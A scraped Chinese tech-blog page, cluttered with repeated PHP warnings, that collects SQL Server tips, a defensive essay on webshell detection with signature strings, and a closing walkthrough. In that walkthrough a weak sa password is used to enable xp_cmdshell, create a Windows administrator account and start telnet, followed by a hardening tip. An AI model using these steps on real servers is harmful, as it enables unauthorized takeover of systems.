Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
可执行任意进制转换,2进制,8进制,32进制,36进制,进制数依赖于所能表示的字典数,如下'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' 36个字母,最大是36进制,下面关键一句是SET @alldigits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',用取字符串位置的方式得到结果。
IF OBJECT_ID('dbo.DecToBase') IS NOT NULLDROP FUNCTION dbo.DecToBase;GO
CREATE FUNCTION dbo.DecToBase(@val  BIGINT,@base  INT)RETURNS VARCHAR(63)ASBEGIN
    DECLARE @r AS VARCHAR(63),@alldigits AS VARCHAR(36)
    SET @alldigits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'    SET @r = ''
    WHILE @val > 0    BEGIN
        SET @r = SUBSTRING(@alldigits,@val%@base+1,1) + @r
        SET @val = @val / @base    END    RETURN @rENDgo


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

SELECT a.salesstaff,a.OrderNo,a.OrderDate,a.Amount,
SUM(amount) OVER (PARTITION BY a.SalesStaff)
FROM bdOrder a(NOLOCK)
WHERE a.OrderDate >=’2011-05-01′


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

SELECT CAST(CAST (100.* 1/CASE(2) WHEN 0 THEN 1 ELSE 2 END AS DECIMAL(5,2)) AS VARCHAR(50)) + ‘%’


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
WITH tmpArray AS  (    SELECT 'A' NAME , '20,233,2544,25567,14' array
    UNION ALL    SELECT 'B','30,-23433,28'    UNION ALL
    SELECT 'C','12,10,8099,12,1200,13,12,14,10,9'    UNION ALL
    SELECT 'D','-4,-6,-45678,-2')
SELECT a.name,SUBSTRING(a.array,n,CHARINDEX(',',a.array+',',n)-n)FROM tmpArray a
JOIN dbo.fn_nums(10000) fn ON FN.n <=LEN(a.array)  AND SUBSTRING(','+a.array,n,1) = ','
ORDER BY a.name注:CHARINDEX() 可以指定开始查询的位置


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

将ParentID结构形式的表转换成以OrganID为形式的表
?现有一地区表mdCity,结构为:
ID? ParentID Name
1??? 0??? 安徽省???????????????????????
2??? 1??? 安庆市???????????????????????
3??? 2??? 大观区???????????????????????
4??? 2??? 扬江区???????????????????????
5??? 2??? 宜秀区???????????????????????
6??? 1??? 蚌埠市?
7??? 0??? 福建省???????????????????????
8??? 7??? 福州市???????????????????????
9??? 8??? 仓山区???????????????????????
10??? 7??? 长乐市???????????????????????
11??? 7??? 福清市???????????????????????
12??? 11??? 鼓楼区??

需转换为:???
ID? OrganID Name
1??? 01??? 安徽省???????????????????????
2??? 0101??? 安庆市???????????????????????
3??? 010101??? 大观区???????????????????????
4??? 010102??? 扬江区???????????????????????
5??? 010103??? 宜秀区???????????????????????
6??? 0102??? 蚌埠市?
7??? 02??? 福建省???????????????????????
8??? 0201??? 福州市???????????????????????
9??? 020101??? 仓山区???????????????????????
10??? 0202??? 长乐市???????????????????????
11??? 0203??? 福清市???????????????????????
12??? 020301??? 鼓楼区??

构造以下Sql语句即可:
WITH wmdCity AS (
??? SELECT a.id,a.ParentID,a.Name, convert(varchar(50),RIGHT(‘0’ + convert(varchar(2),ROW_NUMBER () OVER ( ORDER BY? a.ID)),2)) organid
??? FROM mdCity a(NOLOCK)
??? WHERE a.ParentID = 0
??? UNION ALL
??? SELECT a.id,a.ParentID,a.Name,? convert(varchar(50),mc.organid + RIGHT(‘0’ + convert(varchar(2),ROW_NUMBER () OVER ( ORDER BY a.ID)),2))? organid
??? FROM mdCity a(NOLOCK)
??? JOIN wmdCity mc ON a.ParentID = mc.id
)
SELECT * from wmdcity mc
ORDER BY mc.organid


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

–数据库日志文件增长的很快,每次手工收缩不能及时,用下面的方法建立一job可以定时运行

USE brm_lvjian

–设置数据库恢复模式为简单
ALTER DATABASE BRM_LVJIAN
SET RECOVERY SIMPLE

–收缩日志到1M
DBCC SHRINKFILE (‘BRM_LVJIAN_Log’, 1);

–设置数据库恢复模式为完整
ALTER DATABASE BRM_LVJIAN
SET RECOVERY FULL


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

WITH orderdata AS(
SELECT bo.OrderNo,bo.OrderDate,bo.Amount,
NTILE(10) OVER (ORDER BY bo.Amount) groupid
FROM bdOrder bo
WHERE bo.OrderDate >=’2011-05-24′ AND bo.OrderDate < '2011-05-25' ) --分为10个组,每组上限与下限,及个数 SELECT a.groupid,MIN(amount),MAX(amount),COUNT(1) FROM orderdata a GROUP BY a.groupid 注:当组数无法整除行数时,前面的r个组比其它组多一行。如有11行,分3个组,那么前两个组分别有4个,后一个组有1个。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

查询表空间及行数

SELECT OBJECT_NAME(id) AS TableName ,
rowcnt AS ROWS,
reserved * 8.0 AS Reserved_KB,
dpages * 8.0 AS USED ,
(used – dpages)* 8.0 AS index_size_KB,
( reserved – used ) * 8.0 AS Unused
FROM sysindexes
WHERE indid = 1
–AND OBJECT_NAME(id) = ‘users’
ORDER BY reserved DESC

或者:EXEC sp_spaceused ‘bdorder’


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

 非(P 且 Q)=(非 P)或(非 Q)   非(P 或 Q)=(非 P)且(非 Q)


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

在引用链接服务器时
SELECT * FROM SERVER.brm_lvjian.dbo.frmUser
这种引用将分散到各个存储过程中,若对链接服务器、数据库、表有任何修改,都有逐一修改各分散的地方,维护不方便。
此时,可利用视图做一个封装,那么在以后改变时,只需改变此视图即可。
CREATE VIEW [dbo].[DB201_frmUser]
AS
SELECT * FROM SERVER.brm_lvjian.dbo.frmUser

使用:
SELECT * FROM DB201_frmUser

或者使用同义词
CREATE SYNONYM brm_lvjian_frmUser
FOR SERVER.brm_lvjian.dbo.frmuser

SELECT * FROM brm_lvjian_frmUser

DROP SYNONYM brm_lvjian_frmUser

同义词作用于:表、视图、存储过程、函数、程序集上。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

在用@sql拼语句时,对于字符串变量,要传大量的引号,因为要用””表示一个引号
如:.
DECLARE @tname VARCHAR(10)
DECLARE @sql1 VARCHAR(MAX),@sql2 VARCHAR(MAX)
SET @tname = ‘皮松谊’
SET @sql1 = ‘select * from frmuser where username = ‘ + ”” + @tname + ””
EXEC ( @sql1 )

其实可用sql server提供的内置函数quotename解决
SET @sql1 = ‘select * from frmuser where username = ‘ + quotename(@tname,””)
EXEC ( @sql1 )

注:QUOTENAME ( ‘character_string’ [ , ‘quote_character’ ] )
‘quote_character’:
用作分隔符的单字符字符串。可以是单引号 (‘)、左方括号或右方括号 ([ ]) 或者英文双引号 (“)。如果未指定 quote_character,则使用方括号。 方括号可用于表名


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

常用的可通过:sqlserver提供的配置工具来完成,或者使用sp_configure

sp_configure [ [ @configname = ] ‘option_name’ [ , [ @configvalue = ] ‘value’ ] ]
当不传值时,返回所有可配置的服务器选项及最小值,最大值,当前配置值
如:EXEC sp_configure ‘show advanced option’, ‘1’;


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
sys.dm_db_index_usage_stats
动态管理视图 sys.dm_db_index_usage_stats 该视图返回不同类型索引操作的计数以及 上次执行每种操作的时间。
只要启动 SQL Server (MSSQLSERVER) 服务,计数器就初始化为空。而且,当分离或关闭数据库时(例如, 由于 AUTO_CLOSE 设置为 ON),便会删除与该数据库关联的所有行。
这个视图最关键的就是最关键的就是这4个字段:
user_seeks 通过用户查询执行的搜索次数,就是利用聚集索引的次数。
user_scans 通过用户查询执行的扫描次数,就是没有利用任何索引的次数,逐行扫描最慢的那种。
user_lookups 通过用户查询执行的查找次数,就是利用非聚集索引的次数。
user_updates 通过用户查询执行的更新次数,就是更新前找到这条数据时利用的索引的次数 。因为更新是先查询到需要更新的数据,然后执行更新命令所以更新的时候这个user_updates字段和 user_seeks、user_lookups、user_scans字段中的一个都会加一。

--查询从未被使用的索引
SELECT t.name,ix.name,ddius.user_seeks,ddius.user_scans,ddius.user_lookups,ddius.user_updates
FROM sys.dm_db_index_usage_stats ddius
JOIN sys.tables t ON ddius.[object_id] = t.[object_id]
JOIN sys.indexes ix ON ix.[object_id] = ddius.[object_id] AND ix.index_id = ddius.index_id
WHERE ddius.database_id = DB_ID('brm_lvjian')
and last_user_seek is null
     and last_user_scan is null
     and last_user_lookup is null
     and last_user_update is not null



索引与页关系
--查询索引使用的页数,每页是8K,页数乘以8,即为空间使用数
SELECT t.name,i.name,sp.in_row_data_page_count,sp.in_row_used_page_count,sp.in_row_reserved_page_count
FROM sys.tables t
JOIN sys.indexes i ON t.[object_id] = i.[object_id]
JOIN sys.dm_db_partition_stats sp ON sp.[object_id] = i.[object_id] AND sp.index_id = i.index_id
ORDER BY t.name,i.name

查询表占用空间,涉及的索引使用空间
SELECT a3.name AS [Schema 名称],
	a2.name AS [表名称],
	a1.rows as 记录条数,
	(a1.reserved + ISNULL(a4.reserved,0))* 8 AS [保留空间(K)],
	a1.data * 8 AS [数据使用空间(k)],
	(CASE WHEN (a1.used + ISNULL(a4.used,0)) > a1.data 
	THEN (a1.used + ISNULL(a4.used,0)) - a1.data 
	ELSE 0 END) * 8 AS [索引使用空间(k)],
	(CASE WHEN (a1.reserved + ISNULL(a4.reserved,0)) > a1.used 
	THEN (a1.reserved + ISNULL(a4.reserved,0)) - a1.used 
	ELSE 0 END) * 8 AS [未用空间(k)],
	a1.data * 8*1024/(CASE WHEN a1.Rows=0 THEN 1 ELSE a1.Rows END) 平均每条记录长度
	FROM
		(
		SELECT
		ps.object_id,
		SUM (
		CASE
		WHEN (ps.index_id < 2) THEN row_count
		ELSE 0
		END
		) AS [rows],
		SUM (ps.reserved_page_count) AS reserved,
		SUM (
		CASE
		WHEN (ps.index_id < 2) THEN 
		(ps.in_row_data_page_count + ps.lob_used_page_count + ps.row_overflow_used_page_count)
		ELSE (ps.lob_used_page_count + ps.row_overflow_used_page_count)
		END
		) AS data,
		SUM (ps.used_page_count) AS used
		FROM sys.dm_db_partition_stats ps
		GROUP BY ps.object_id) AS a1
		LEFT OUTER JOIN
			(
			SELECT
			it.parent_id,
			SUM(ps.reserved_page_count) AS reserved,
			SUM(ps.used_page_count) AS used
			FROM sys.dm_db_partition_stats ps
			INNER JOIN sys.internal_tables it ON (it.object_id = ps.object_id)
			WHERE it.internal_type IN (202,204)
			GROUP BY it.parent_id
			) AS a4 ON (a4.parent_id = a1.object_id)
	INNER JOIN sys.all_objects a2  ON ( a1.object_id = a2.object_id )
	INNER JOIN sys.schemas a3 ON (a2.schema_id = a3.schema_id)
	WHERE a2.type <> N'S' and a2.type <> N'IT'
	ORDER BY [保留空间(K)] DESC




--打开3604,信息发送到控制台
DBCC TRACEON(3604)

--查看表索引对应的页数明细
DBCC IND ('brm_lvjian_0817', 'frmuser', -1);

--查看页上的数据信息
DBCC PAGE (brm_lvjian_0817, 1, 409259, 3);


注:
DBCC PAGE
(
    ['database name'|database id], -- can be the actual name or id of the database
    file number, -- the file number where the page is found
    page number, -- the page number within the file
    print option = [0|1|2|3] -- display option; each option provides differing levels of information
)

DBCC IND
(
    ['database name'|database id], -- the database to use
    table name, -- the table name to list results
    index id, -- an index_id from sys.indexes; -1 shows all indexes and IAMs, -2 just show IAMs
)

参考:http://www.sqlskills.com/blogs/paul/post/Inside-the-Storage-Engine-Using-DBCC-PAGE-and-DBCC-IND-to-find-out-if-page-splits-ever-roll-back.aspx


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
 索引碎片:1,当索引包含的页中的逻辑顺序与数据文件中的物理排序不匹配时,就存在碎片,碎片非常多的索引会降低查询的性能,导致应用程序响应缓慢,可通过重新组织索引或重新生成索引来修复索引碎片。

2,当索引页不在逻辑顺序上时就会产生外部碎片。索引创建时,索引键按照逻辑顺 序放在一组索引页上。当新数据插入索引时,新的键可能放在存在的键之间。为 了让新的键按照正确的顺序插入, 可能会创建新的索引页来存储需要移动的那些 存在的键。这些新的索引页通常物理上不会和那些被移动的键原来所在的页相 邻。创建新页的过程会引起索引页偏离逻辑顺序。

 3,在有特定搜索或者返回无序结果集的查询的情况下, 偏离顺序的索引页不会引起 问题。 对于返回有序结果集的查询, 搜索那些无序的索引页需要进行额外的处理。造成性能低下。
即:在初建时索引是有序的,但不断的update,insert,delete操作使得索引页变得局部无序,但要求返回有序的结果集时,不得不浪费额外时间进行排序。而索引维护的过程就是将排序归为有序的过程


 索引状况检查:dm_db_index_physical_stats
 当avg_fragmentation_in_percent碎片率 <5%时,是正常级别
 当avg_fragmentation_in_percent碎片率 >=5% AND <=30%时,是轻度级别,需要重新组织索引
 当avg_fragmentation_in_percent碎片率 >30%时,是严重级别,需要重建索引
 alert index 索引名称 ON 架构名称.表名 reorganize/rebulid partition = 分区号
 sys.objects:存储表、视图、存储过程

查看:
SELECT *
FROM SYS.dm_db_index_physical_stats(DB_ID(), object_id('bmdcustomer'),NULL,NULL,'LIMITED') DDIPS

1,索引状态检查与维护
SELECT s.name schema_name,o.name OBJECT_name,ix.name INDEX_name,DDIPS.avg_fragmentation_in_percent 碎片率,
	CASE WHEN avg_fragmentation_in_percent > 30 THEN '严重碎片级别,索引需要重建'
	     WHEN avg_fragmentation_in_percent >= 5 AND avg_fragmentation_in_percent < 30 THEN '轻度碎片级别,索引需要重新组织' 
		 ELSE '正常状态' END 提示
	FROM SYS.dm_db_index_physical_stats(DB_ID(),NULL,NULL,NULL,'LIMITED') DDIPS
	JOIN SYS.objects o ON DDIPS.[object_id] = O.[object_id] --得到表名
	JOIN SYS.schemas s ON S.[schema_id] = O.[schema_id] --得到表的架构名
	JOIN SYS.indexes IX ON DDIPS.[object_id] = IX.[object_id] AND DDIPS.index_id = IX.index_id --得到索引名称
WHERE ddips.[object_id] = object_id('bdcustomerallocate') AND s.[schema_id] = SCHEMA_ID('dbo')  

/*
* 1,重新组织索引:alter index IX_bdCustomerAllocate ON dbo.bdCustomerAllocate reorganize
* 2,重建索引:alter index PK_bdCustomerAllocate ON dbo.bdCustomerAllocate rebulid
* */

2,索引状态批量维护
/*索引维护:检查数据库中所有索引,修复有问题的索引
* alert index 索引名称 ON 架构名称.表名 reorganize/rebulid partition = 分区号
* sys.partitions:数据库中所有表和索引的每个分区在表中各对应一行
* sys.objects:存储表、视图、存储过程
* 
* */
DECLARE cur_dx CURSOR FOR

WITH PT AS(
SELECT p.[object_id],p.index_id, COUNT(1) partition_count
FROM SYS.partitions p
GROUP BY p.[object_id],p.index_id),

DIX AS(
	SELECT DDIPS.[object_id],DDIPS.index_id,DDIPS.partition_number,DDIPS.avg_fragmentation_in_percent,
	o.name OBJECT_name,s.name schema_name,ix.name INDEX_name,pt.partition_count,
	CASE WHEN avg_fragmentation_in_percent > 30 THEN '严重碎片级别,索引需要重建'
	     WHEN avg_fragmentation_in_percent >= 5 AND avg_fragmentation_in_percent < 30 THEN '轻度碎片级别,索引需要重新组织' END warning
	
	FROM SYS.dm_db_index_physical_stats(DB_ID(),NULL,NULL,NULL,'LIMITED') DDIPS
	JOIN SYS.objects o ON DDIPS.[object_id] = O.[object_id] --得到表名
	JOIN SYS.schemas s ON S.[schema_id] = O.[schema_id] --得到表的架构名
	JOIN SYS.indexes IX ON DDIPS.[object_id] = IX.[object_id] AND DDIPS.index_id = IX.index_id --得到索引名称
	JOIN PT ON DDIPS.[object_id] = PT.object_id AND DDIPS.index_id = pt.index_id --得到分区号
	WHERE ddips.avg_fragmentation_in_percent > 5 AND DDIPS.index_id > 0	
	AND ddips.[object_id]=OBJECT_ID('bdcustomerallocate')
),
DIXSQL AS(
	SELECT ' ALTER INDEX ' + QUOTENAME(INDEX_NAME)
	+ ' ON ' + QUOTENAME(schema_name) + '.' + QUOTENAME(OBJECT_NAME)
	+ CASE WHEN avg_fragmentation_in_percent < 30 THEN ' REORGANIZE '
	  ELSE ' REBUILD ' END 
	+ CASE WHEN partition_count > 1
	THEN ' PARTITION =  ' + CONVERT(NVARCHAR(20),partition_number)
	ELSE '' END  SQL
	FROM DIX
) 
SELECT * FROM DIXSQL

DECLARE @sql NVARCHAR(max)
OPEN cur_dx
FETCH cur_dx INTO @sql
WHILE @@FETCH_STATUS = 0
BEGIN
	EXEC sp_executesql @sql
	RAISERROR('Executed:%s',10,1,@sql) WITH NOWAIT
	FETCH cur_dx INTO @sql	
END 
CLOSE cur_dx
DEALLOCATE cur_dx

--ALTER INDEX [PK_bdCustomerAllocate] ON [dbo].[bdCustomerAllocate]   REBUILD 


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

TSQL一般是对列操作,如聚合等,现要求按行进行聚合,如求出每行中最大的字段
方法:将每行数据转成一列数据集进行操作即可
如:

SELECT f.account,f.username,
( SELECT MAX(c1) FROM ( SELECT f.account c1 UNION ALL SELECT f.UserName )M )cmax
FROM frmuser f


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

rollup:汇总
在GROUP后加WITH ROLLUP来实现总计与小计,它会对每次分组的结果进行ROLLUP操作,产生汇总的结果,显示在行下。
在显示的时候可用GROUPING来判断当天是数据行还是汇总行,GROUPING为1时是汇总行,为0为数据行。
1,当GROUP只有一个字段时,ROLLUP在最后一行会显示总计
2,当GROUP有多个字段时,在上一个字段改变时显示汇总结果
即:ROLLUP会在上个字段改变时显示汇总结果,当GROUP按一个字段分组,因此字段上个字段不存在,故会在最后显示汇总结果。
如:
SELECT
CASE WHEN GROUPING (convert(varchar(10),a.OrderDate,120)) = 0 THEN convert(varchar(10),a.OrderDate,120)
WHEN GROUPING(convert(varchar(10),a.OrderDate,120)) = 1 THEN ‘总计:’ END,
CASE WHEN GROUPING(a.DepartmentID) = 0 THEN convert(varchar(10),a.DepartmentID)
WHEN GROUPING(convert(varchar(10),a.OrderDate,120)) = 0 AND GROUPING(a.DepartmentID) = 1 THEN ‘小计:’ end,
SUM(amount)
FROM bdOrder a(NOLOCK)
WHERE a.OrderDate>=’2011-05-01′
GROUP BY convert(varchar(10),a.OrderDate,120),a.DepartmentID,a.DepartmentID
WITH ROLLUP
区分总计与小计:按日期,部门ID分组,当日期所在行通过GROUPING判断出是汇总行时,则是总计。
当日期所在行为数据行,而部门ID为汇总时,为小计。
3,若不想要小计,只保留总计与其它数据,用HAVING GROUPING(firstColoum) = 1 OR 其它分组列数据IS NOT NULL


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

基础

索引

  • 排序

    • Comparison Sorting 比较式排序
      • Bubble Sort 冒泡排序
      • Selection Sort 选择排序
      • Insertion Sort 插入排序
      • Shell Sort 希尔排序
      • Merge Sort 归并排序
      • Quck Sort 快速排序
    • Bucket Sort 桶排序
    • Counting Sort 计数排序
    • Radix Sort 基数排序

    堆数据结构

    图 算法

    动态编程

    • 计算 Fibonacci 数 ( java 版本演示)

    其它…

    (全文完)


    Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

    系统出现数据库无法连接的问题,远程连接不上服务器,进入机房服务器查看,运行良好,只是在右下方不时弹出IP冲突的提示,在客户机上运行arp -a 查看,发现所在IP对应的mac地址不是服务器的mac地址,遂想到有一位同事的IP错误的设置成了服务器IP,客户机都访问同事的电脑去了,出现数据库无法连接的问题,
    解决方法:1,找出冲突IP所在电脑,更改IP,在客户机上运行arp -d删除缓存信息。
    2,在不方便找出冲突IP的情况下,更改服务器的IP地址。

    注:ARP原因:地址解析协议,是一种将IP地址转化成物理地址的协议
    1,局域网同一网段的网络流通不是根据IP地址进行,而是按照MAC地址进行传输,需要将被访问电脑的IP地址转为MAC地址才能通讯,为便于通讯,会有2分钟的缓存机制。
    2,某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。对本地的ARP2缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。如果未找到,则广播A一个ARP请求报文(携带主机A的IP地址Ia??物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。


    Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

    目录]
    0x00 前言
    0x01 Webshell检测模型
    0x02 静态特征检测
    0x03 动态特征检测
    0x04 结语

    0x00 前言
    什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不
    过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”
    的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。
    随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑
    客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网
    企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。
    本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。

    0x01 Webshell检测模型
    记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,
    我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变
    形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和
    HTTP请求。
    我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。
    简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。
    棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然
    不是绝对的),只有在应用层进行检测。
    黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含
    webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数
    据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

    0x02 静态特征检测
    静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串
    特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高
    级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通
    过此类办法查找ASP类型的webshell的。
    静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。
    比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在
    设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。
    对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时
    候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特
    征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell
    用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。
    比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application
    等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。
    另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里
    面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我
    自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最
    终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell??这个情况
    和特征码杀毒软件何其相似。
    要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我
    们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,
    如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度
    和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发
    现。

    0x03 动态特征检测
    webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我
    们称为动态特征。
    先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应
    做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
    这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个
    体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公
    开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义
    的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老
    搞特征码是吧。
    webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,
    Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这
    样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这
    下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机
    后门的一些检测策略,以后有机会再另文叙述。
    回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP
    请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时
    是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常
    请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,
    还可以发现很多问题的。
    还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,
    我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就
    好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),
    当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数
    的重载:
    –code————————————————————————-
    <% Function execute(stra) Response.Write("get the arg : "+stra) End Function a="response.write(""hello,world"")" execute(a) %>
    ——————————————————————————-
    这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小
    道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学
    可以关注。

    0x04 结语
    本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也
    可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比
    于工具,思路永远是最重要的。


    Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

    过程:利用x-scan扫描目标机,因服务器sqlserver是弱口令,得到sa权限。用查询分析器连接上去,执行以下方法添加一个管理员账号,进尔得到服务器的控制权限:

    –打开xp_cmdshell
    EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

    use master;
    xp_cmdshell ‘dir c:‘;
    记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
    添加windows用户:
    xp_cmdshell ‘net user awen /add‘;
    设置好密码:
    xp_cmdshell ‘net user awen password‘;
    提升到管理员:
    xp_cmdshell ‘net localgroup administrators awen /add‘;
    开启telnet服务:
    xp_cmdshell ‘net start tlntsvr‘

    应对方式:net.exe ;net1.exet ;cmd.exe ;tftp.exe ;netstat.exe ;regedit.exe ;at.exe ;
    attrib.exe;cacls.exe;format.com;ftp.exe;at.exe;telnet.exe;command.com;netstat.exe;arp.exe;nbtstat.exe仅给管理员权限,其它都去掉,包括system